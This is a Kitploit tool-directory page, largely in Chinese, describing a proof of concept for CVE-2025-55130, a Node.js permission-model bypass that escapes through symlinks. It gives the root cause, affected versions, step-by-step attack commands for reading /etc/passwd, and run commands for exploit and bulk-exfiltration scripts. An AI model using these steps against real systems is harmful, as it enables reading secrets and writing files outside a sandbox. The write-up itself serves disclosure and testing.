Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55130 — POC for CVE-2025-55130 | Kitploit
工具/GitHubGitHub/scumfrog/cve-2025-55130
Privilege EscalationVulnerability AnalysisExploitationData ExfiltrationWeb SecurityContainer Escape
GitHubscumfrog/cve-2025-55130

CVE-2025-55130

POC for CVE-2025-55130

查看仓库
16个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55130 - Node.js权限模型符号链接逃逸

root@kitploit:~
   ___ _   _ ___     ____   ___ ____  ____      ____ ____ _ _____ ___  
  / __| | | | __|___/ _  \ / _ \___ \| ___|    | ___| ___/ |___ // _ \ 
 | (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
  \___|\___/|___|   \__  ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
                    |___/                       |____/____/|_|____/\___/ 
                                                                        
        Node.js权限模型绕过——通过精心构造的符号链接
                   [ 发现者:natann @ JFrog ]

概述

Node.js中的一个路径遍历漏洞允许通过指向绝对路径的符号链接结合相对路径遍历,突破 --allow-fs-read 和 --allow-fs-write 权限限制。

权限检查和路径解析是分开进行的。一旦初始路径通过了权限检查,符号链接就会被跟随,遍历序列会逃逸沙箱。

受影响版本

分支受影响版本修复版本
20.x< 20.20.020.20.0
22.x< 22.22.022.22.0
24.x< 24.13.024.13.0
25.x< 25.3.025.3.0

技术分析

根本原因

root@kitploit:~
Permission Check:  ./nested/dirs/symlink/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
                   
Path Resolution:   /actual/path/to/script/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
                   Resolves to /etc/passwd - OUTSIDE SANDBOX

权限模型在符号链接解析之前验证路径字符串。通过创建一个指向绝对路径的符号链接并在符号链接后使用 ../ 遍历,我们可以逃逸允许的目录。

攻击流程

root@kitploit:~
1. mkdir -p ./a/b/c/d/e/f/g           # 在允许路径中创建嵌套目录
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x     # 符号链接指向绝对路径
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
         ^^^^^^^^^^^^^^^^^ 
         Permission check passes (inside ./)
         
   After symlink resolution:
   /home/user/project/../../../etc/passwd -> /etc/passwd
   ^^^^^^^^^^^^^^^^^^^^
   Traversal escapes to root

文件

文件用途
exploit.js主利用程序 - 读取任意文件
exploit_write.js写入任意文件
exfil.js批量文件外泄

使用方法

root@kitploit:~
# 基础利用
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js

# 检查是否受漏洞影响
node check.js

# 批量外泄
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js

影响

  • 读取敏感文件:/etc/passwd, /etc/shadow, SSH密钥, 配置文件
  • 写入任意文件:cron任务, authorized_keys, 配置文件
  • 在多租户环境中实现容器逃逸
  • 绕过沙箱执行不可信代码

参考资料

  • https://research.jfrog.com/vulnerabilities/nodejs-fs-permissions-bypass-cve-2025-55130/
  • https://nodejs.org/en/blog/vulnerability/december-2025-security-releases
  • https://nvd.nist.gov/vuln/detail/CVE-2025-55130

致谢

  • 漏洞发现:Natan Nehorai (natann) @ JFrog安全研究团队
  • 修复:RafaelGSS @ Node.js

仅用于研究和授权测试。

下载工具
check.js
版本漏洞检查